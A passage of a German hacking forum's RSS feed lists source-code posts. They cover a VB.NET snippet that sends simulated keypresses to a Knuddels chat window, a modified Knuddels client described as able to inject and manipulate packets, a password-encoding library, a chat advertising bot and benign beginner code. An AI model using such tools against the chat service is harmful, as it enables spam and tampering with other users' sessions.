#007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">TextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Threader&nbsp;kurz&nbsp;warten&nbsp;lassen...'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">10</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Taste&nbsp;simmuliern...'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">PostMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_KEYDOWN</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">HD</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">H1C0001</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Angegeben&nbsp;dass&nbsp;es&nbsp;sich&nbsp;um&nbsp;ein&nbsp;Enter&nbsp;druck&nbsp;handelt..'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">PostMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_CHAR</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">HD</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">H1C0001</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Threader&nbsp;kurz&nbsp;warten&nbsp;lassen...'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Threading</span><span style="color: #007700">.</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">10</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Enter&nbsp;Taste&nbsp;losgelassen...'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">PostMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_KEYUP</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">HD</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">HC01C0001</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Fokus&nbsp;aufheben..'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">H8</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">TextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Viel Spaß :D</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-knuddels-fenster-manipulieren-2674</guid>
		</item>
		<item>
			<title><![CDATA[[Java] KRClient]]></title>
			<link>sourcecode-91/java-krclient-2096?goto=newpost</link>
			<pubDate>Tue, 06 Dec 2011 02:21:06 GMT</pubDate>
			<description>---Zitat--- 
Der KRClient - auch bekannt als Simple Sample Client - wurde von Flav entwickelt und dient als Vorlage für andere Entwickler. Enthalten...</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Der KRClient - auch bekannt als Simple Sample Client - wurde von Flav entwickelt und dient als Vorlage für andere Entwickler. Enthalten sind Javassist version 3.15.0.GA, der Client Source, sowie Batch-Skripte zum Kompilieren und Ausführen. Der Source enthält nur die wichtigsten Methoden, eine Tray-Funktion und zeigt ggf. wie man Pakete injektiert, blockiert und manipuliert. Sonst unterscheidet sich der Client nicht vom Original, alles wird korrekt dargestellt, ganz egal ob Windows oder Mac, Java 6 oder Java 7.<br />
<br />
Version: 1.3.90ahl (10. November 2011)<br />
Changelog: <a href="http://pastebin.com/6D0kDBTn" target="_blank" rel="nofollow">K-Reverse Client v1.3 - Pastebin.com</a><br />
Download: <a href="http://www.multiupload.com/GGQ8ZN7EPW" target="_blank" rel="nofollow">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
MD5: 73BA7608EAA629EDD863752F67675CDD
			
		<hr />
	</div>
</div>Läuft übrigens sowohl im Browser als auch als Anwendung, der KUC basiert auch auf diesen Client.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-krclient-2096</guid>
		</item>
		<item>
			<title><![CDATA[[Source] KNLib]]></title>
			<link>sourcecode-91/source-knlib-1930?goto=newpost</link>
			<pubDate>Sun, 04 Dec 2011 19:37:37 GMT</pubDate>
			<description>*Source: KNLib by Flav (http://u-hacks.net/members/flav-8/)* 
*Beschreibung:* 
Ein Jahr ist der Release der Knuddels Library *(kurz: KNLib)* nun her...</description>
			<content:encoded><![CDATA[<div><span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font size="5">Source: KNLib by <a href="http://u-hacks.net/members/flav-8/" target="_blank" rel="nofollow"><font color="#FF3C78">Flav</font></a></font></b></span><br />
<b>Beschreibung:</b><br />
Ein Jahr ist der Release der Knuddels Library <b><span style="text-shadow: 0px 0px 10px #8d8d8d">(kurz: KNLib)</span></b> nun her und immernoch wird sie von Entwicklern benutzt.<br />
Sie dient dazu auf das Applet zuzugreifen und das Passwort zu kodieren. Das hängt natürlich damit zusammen, dass sich die Passwort-Kodierung nur schlecht rekonstrurieren lässt. Verwendet/importiert werden kann sie in allen .NET-Sprachen.<br />
Außerdem gibt es für Java-begeisterte den Nachfolger die <b><span style="text-shadow: 0px 0px 10px #8d8d8d"><a href="http://u-hacks.net/showroom-89/release-krlib-42/" target="_blank" rel="nofollow">KRLib</a></span></b> welche <a href="http://u-hacks.net/members/flav-8/" target="_blank" rel="nofollow"><b><font color="#FF3C78">Flav</font></b></a> bereits in <b>U-Hacks</b> vorgestellt hat.<br />
<b>Download:</b><br />
<br />
<b><font size="5">Im Anhang zufinden!</font></b><br />
<br />
Falls ich was vergessen habe, bitte ich dies hinzuzufügen. Ist natürlich nicht ohne Flav's Genehmigung veröffentlicht wurden. ;)</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=158&amp;d=1339515904">knlib-v1.1-src.zip</a> 
(3,94 MB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">sourcecode-91/source-knlib-1930</guid>
		</item>
		<item>
			<title><![CDATA[[Source] uAdvertising 1.15]]></title>
			<link>sourcecode-91/source-uadvertising-1-15-1419?goto=newpost</link>
			<pubDate>Tue, 29 Nov 2011 11:42:46 GMT</pubDate>
			<description>Hallo, ich habe noch ein wenig an dem Bot gearbeitet, nur Channel aus dem Chat auslesen habe ich nicht ganz abgeschlossen. 
 
Geschrieben in VB.NET 
...</description>
			<content:encoded><![CDATA[<div>Hallo, ich habe noch ein wenig an dem Bot gearbeitet, nur Channel aus dem Chat auslesen habe ich nicht ganz abgeschlossen.<br />
<br />
Geschrieben in VB.NET<br />
<br />
<u><b>Hier noch ein kleiner Screenshot:</b></u><br />
<br />
<img src="http://img32.imageshack.us/img32/5287/unbenannttt.png" border="0" alt="" /><br />
<br />
<br />
<u><b>Download:</b></u><br />
<a href="http://ul.to/qctag2uw" target="_blank" rel="nofollow">Klick hier!</a><br />
<br />
<br />
Copyright geht dabei an mich, ihr könnt damit machen was ihr wollt, nur wenn ihr den Bot releasen wollt einfach kurz schreiben (c) Nico @ u-hacks.net :)</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/source-uadvertising-1-15-1419</guid>
		</item>
		<item>
			<title><![CDATA[[Source] Hausaufgaben]]></title>
			<link>sourcecode-91/source-hausaufgaben-1358?goto=newpost</link>
			<pubDate>Mon, 28 Nov 2011 16:56:43 GMT</pubDate>
			<description>Ich habe vor einiger Zeit mal ein Programm geschrieben um meine Hausaufgaben zu verwalten. Ich habe es auch schon in einem anderen Forum vorgestellt,...</description>
			<content:encoded><![CDATA[<div>Ich habe vor einiger Zeit mal ein Programm geschrieben um meine Hausaufgaben zu verwalten. Ich habe es auch schon in einem anderen Forum vorgestellt, trotzdem hier nochmal ein Screenshot + Projektmappe. Ihr könnt damit machen was ihr wollt :)<br />
Geschrieben in VB.NET.<br />
<img src="http://img151.imageshack.us/img151/7499/unbenanntrv.png" border="0" alt="" /><br />
<br />
<a href="http://ul.to/tlgo2fz3" target="_blank" rel="nofollow">Download!!</a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/source-hausaufgaben-1358</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] Lernprojekt]]></title>
			<link>sourcecode-91/vb-net-lernprojekt-1355?goto=newpost</link>
			<pubDate>Mon, 28 Nov 2011 16:49:53 GMT</pubDate>
			<description>Ich habe vor einiger Zeit mal angefangen eine Klasse zu schreiben und diese zu kommentieren, um Anfängern ein paar Codebeispiele zu zeigen und zu...</description>
			<content:encoded><![CDATA[<div>Ich habe vor einiger Zeit mal angefangen eine Klasse zu schreiben und diese zu kommentieren, um Anfängern ein paar Codebeispiele zu zeigen und zu erklären, dann lag die Klasse wochenlang auf meinem PC ohne dass ich sie veröffentlicht habe. Ich habe noch keine Zeit gefunden sie zu erweitern, trotzdem ist es schon etwas Code.<br />
<br />
Schaut euch die Klasse einfach mal an :)<br />
<br />
Ich bin kein Profi im Erklären aber vielleicht versteht der ein oder andere es ja trotzdem :nerd:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br /></span><span style="color: #DD0000">'###&nbsp;Lernprojekt.vb&nbsp;(c)&nbsp;Nico&nbsp;@&nbsp;u-hacks.net&nbsp;###<br /><br /><br />'</span><span style="color: #007700">Die&nbsp;</span><span style="color: #0000BB">Klasse&nbsp;heißt&nbsp;Lernprojekt</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">wir&nbsp;können&nbsp;auf&nbsp;diese&nbsp;Klasse&nbsp;auch&nbsp;in&nbsp;anderen&nbsp;Klassen&nbsp;zugreifen<br /></span><span style="color: #DD0000">'sollte&nbsp;man&nbsp;ein&nbsp;größeres&nbsp;Projekt&nbsp;anstreben&nbsp;ist&nbsp;es&nbsp;übersichtlicher&nbsp;mit&nbsp;verschiedenen&nbsp;Klassen&nbsp;zu&nbsp;arbeiten<br /><br />'</span><span style="color: #0000BB">An&nbsp;dieser&nbsp;Stelle&nbsp;kann&nbsp;man&nbsp;importieren</span><span style="color: #007700">,<br /></span><span style="color: #DD0000">'z.B.&nbsp;Imports&nbsp;System.Net<br />'</span><span style="color: #0000BB">mehr&nbsp;dazu&nbsp;weiter&nbsp;unten<br /><br /></span><span style="color: #007700">Public&nbsp;Class&nbsp;</span><span style="color: #0000BB">Lernprojekt<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Das&nbsp;ist&nbsp;die&nbsp;Methode&nbsp;um&nbsp;die&nbsp;Funktion&nbsp;aufzurufen<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Sub&nbsp;Split()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Das&nbsp;ist&nbsp;der&nbsp;String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">den&nbsp;ihr&nbsp;splitten</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">also&nbsp;aufteilen&nbsp;wollt</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">hier&nbsp;eine&nbsp;abgewandelte&nbsp;Version&nbsp;eines&nbsp;Knuddels</span><span style="color: #007700">-</span><span style="color: #0000BB">Tokens<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Input&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Nickname|Passwort|Channel"<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'Zuerst&nbsp;die&nbsp;Variablen,&nbsp;benannt&nbsp;nach&nbsp;den&nbsp;Strings,&nbsp;die&nbsp;wir&nbsp;herausfiltern&nbsp;wollen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Nickname&nbsp;As&nbsp;String&nbsp;=&nbsp;String.Empty<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Passwort&nbsp;As&nbsp;String&nbsp;=&nbsp;String.Empty<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Channel&nbsp;As&nbsp;String&nbsp;=&nbsp;String.Empty<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Nun&nbsp;müssen&nbsp;wir&nbsp;den&nbsp;Variablen&nbsp;einen&nbsp;Wert&nbsp;zuweisen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">das&nbsp;machen&nbsp;wir&nbsp;in&nbsp;diesem&nbsp;Fall&nbsp;mit&nbsp;der&nbsp;Split</span><span style="color: #007700">()&nbsp;</span><span style="color: #0000BB">Funktion<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Der&nbsp;String&nbsp;wird&nbsp;in&nbsp;diesem&nbsp;Beispiel&nbsp;immer&nbsp;bei&nbsp;|&nbsp;gesplittet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Hinter&nbsp;der&nbsp;Funktion&nbsp;</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">"|"</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">müssen&nbsp;wir&nbsp;noch&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">sogenannte&nbsp;Indexzahl&nbsp;angeben<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Wenn&nbsp;der&nbsp;String&nbsp;so&nbsp;aufgebaut&nbsp;ist&nbsp;wie&nbsp;in&nbsp;unserem&nbsp;Beispiel&nbsp;dann&nbsp;steht&nbsp;0&nbsp;für&nbsp;den&nbsp;String&nbsp;vor&nbsp;|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">1&nbsp;steht&nbsp;für&nbsp;den&nbsp;String&nbsp;nach&nbsp;dem&nbsp;ersten&nbsp;</span><span style="color: #007700">|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'2&nbsp;steht&nbsp;für&nbsp;den&nbsp;String&nbsp;nach&nbsp;dem&nbsp;zweiten&nbsp;|&nbsp;usw.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nickname&nbsp;=&nbsp;Input.Split("|")(0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Passwort&nbsp;=&nbsp;Input.Split("|")(1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Channel&nbsp;=&nbsp;Input.Split("|")(2)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Da&nbsp;wir&nbsp;jetzt&nbsp;den&nbsp;Variablen&nbsp;einen&nbsp;Wert&nbsp;zugewiesen&nbsp;haben&nbsp;können&nbsp;wir&nbsp;diese&nbsp;nun&nbsp;noch&nbsp;in&nbsp;einem&nbsp;einzelnen&nbsp;String&nbsp;speichern<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'somit&nbsp;müssen&nbsp;wir&nbsp;bei&nbsp;der&nbsp;Ausgabe&nbsp;nur&nbsp;einen&nbsp;String&nbsp;ausgeben&nbsp;und&nbsp;nicht&nbsp;drei&nbsp;verschiedene<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">man&nbsp;muss&nbsp;es&nbsp;nicht&nbsp;machen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">aber&nbsp;sollte&nbsp;man&nbsp;den&nbsp;Output&nbsp;String&nbsp;mehr&nbsp;als&nbsp;einmal&nbsp;verwenden</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ist&nbsp;es&nbsp;einfach&nbsp;praktischer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Output&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Nickname:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Nickname&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">",&nbsp;Passwort:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Passwort&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">",&nbsp;Channel:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Channel<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Mit&nbsp;dieser&nbsp;Methode&nbsp;können&nbsp;wir&nbsp;ganz&nbsp;einfach&nbsp;den&nbsp;Quelltext&nbsp;einer&nbsp;Webseite&nbsp;herunterladen&nbsp;und&nbsp;in&nbsp;einem&nbsp;String&nbsp;abspeichern<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Sub&nbsp;Quelltext_herunterladen()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Wir&nbsp;deklarieren&nbsp;einen&nbsp;neuen&nbsp;Webclienten<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'alternativ&nbsp;zu&nbsp;System.Net.Webclient&nbsp;kann&nbsp;man&nbsp;auch&nbsp;System.Net&nbsp;importieren,&nbsp;indem&nbsp;man&nbsp;über&nbsp;Public&nbsp;Class&nbsp;Lernprojekt&nbsp;einfach&nbsp;Imports&nbsp;System.Net&nbsp;einfügt<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">solltet&nbsp;ihr&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net&nbsp;importieren</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">reicht&nbsp;Dim&nbsp;client&nbsp;</span><span style="color: #007700">as&nbsp;New&nbsp;</span><span style="color: #0000BB">Webclient</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;client&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">.</span><span style="color: #0000BB">WebClient</span><span style="color: #007700">()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Nun&nbsp;noch&nbsp;die&nbsp;Variable&nbsp;quelltext&nbsp;deklarieren&nbsp;und&nbsp;durch&nbsp;die&nbsp;.DownloadString&nbsp;Funktion&nbsp;direkt&nbsp;einen&nbsp;Wert&nbsp;zuweisen,&nbsp;der&nbsp;in&nbsp;diesem&nbsp;Fall&nbsp;der&nbsp;Quelltext&nbsp;ist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;quelltext&nbsp;As&nbsp;String&nbsp;=&nbsp;client.DownloadString("http://URL")<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Hier&nbsp;ist&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;etwas&nbsp;erweitert<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Man&nbsp;kann&nbsp;wenn&nbsp;man&nbsp;eine&nbsp;Methode&nbsp;aufruft&nbsp;auch&nbsp;direkt&nbsp;Daten&nbsp;übergeben<br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #007700">Die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;könnte&nbsp;man&nbsp;z</span><span style="color: #007700">.</span><span style="color: #0000BB">B</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">so&nbsp;aufrufen</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">Text_Speichern</span><span style="color: #007700">(</span><span style="color: #DD0000">"Hallo"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Dann&nbsp;wird&nbsp;der&nbsp;String&nbsp;"Hallo"&nbsp;in&nbsp;der&nbsp;Textdatei&nbsp;gespeichert<br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #007700">Die&nbsp;</span><span style="color: #0000BB">Methode&nbsp;könnte&nbsp;auch&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Text_Speichern</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;zahl&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">heißen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">wenn&nbsp;man&nbsp;einen&nbsp;Integer&nbsp;übergeben&nbsp;möchte<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Text_Speichern</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;text&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Wir&nbsp;benutzen&nbsp;hier&nbsp;den&nbsp;StreamWriter&nbsp;um&nbsp;etwas&nbsp;in&nbsp;einer&nbsp;Textdatei&nbsp;zu&nbsp;speichern<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Man&nbsp;könnte&nbsp;auch&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO&nbsp;importieren</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">das&nbsp;hätte&nbsp;den&nbsp;gleichen&nbsp;Sinn&nbsp;wie&nbsp;im&nbsp;Beispiel&nbsp;Quelltext_herunterladen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using&nbsp;writer&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">StreamWriter&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">StreamWriter</span><span style="color: #007700">(</span><span style="color: #DD0000">"Dateipfad/Name.txt"</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'hiermit&nbsp;schreiben&nbsp;wir&nbsp;eine&nbsp;neue&nbsp;Zeile&nbsp;in&nbsp;eine&nbsp;Textdatei<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">man&nbsp;könnte&nbsp;auch&nbsp;einfach&nbsp;nur&nbsp;writer</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">Text</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">verwenden</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">dann&nbsp;schreibt&nbsp;man&nbsp;einfach&nbsp;nur&nbsp;in&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">textdatei</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ohne&nbsp;eine&nbsp;eigene&nbsp;Zeile<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;writer</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Und&nbsp;Using&nbsp;wieder&nbsp;beeden<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Using<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Sub<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Mit&nbsp;dieser&nbsp;Methode&nbsp;lesen&nbsp;wir&nbsp;eine&nbsp;Textdatei&nbsp;aus<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Text_Auslesen</span><span style="color: #007700">()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Hier&nbsp;verwenden&nbsp;wir&nbsp;den&nbsp;StreamReader&nbsp;um&nbsp;eine&nbsp;Textdatei&nbsp;auszulesen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">Hier&nbsp;könnte&nbsp;man&nbsp;alternativ&nbsp;ebenfalls&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">(</span><span style="color: #0000BB">importieren</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: 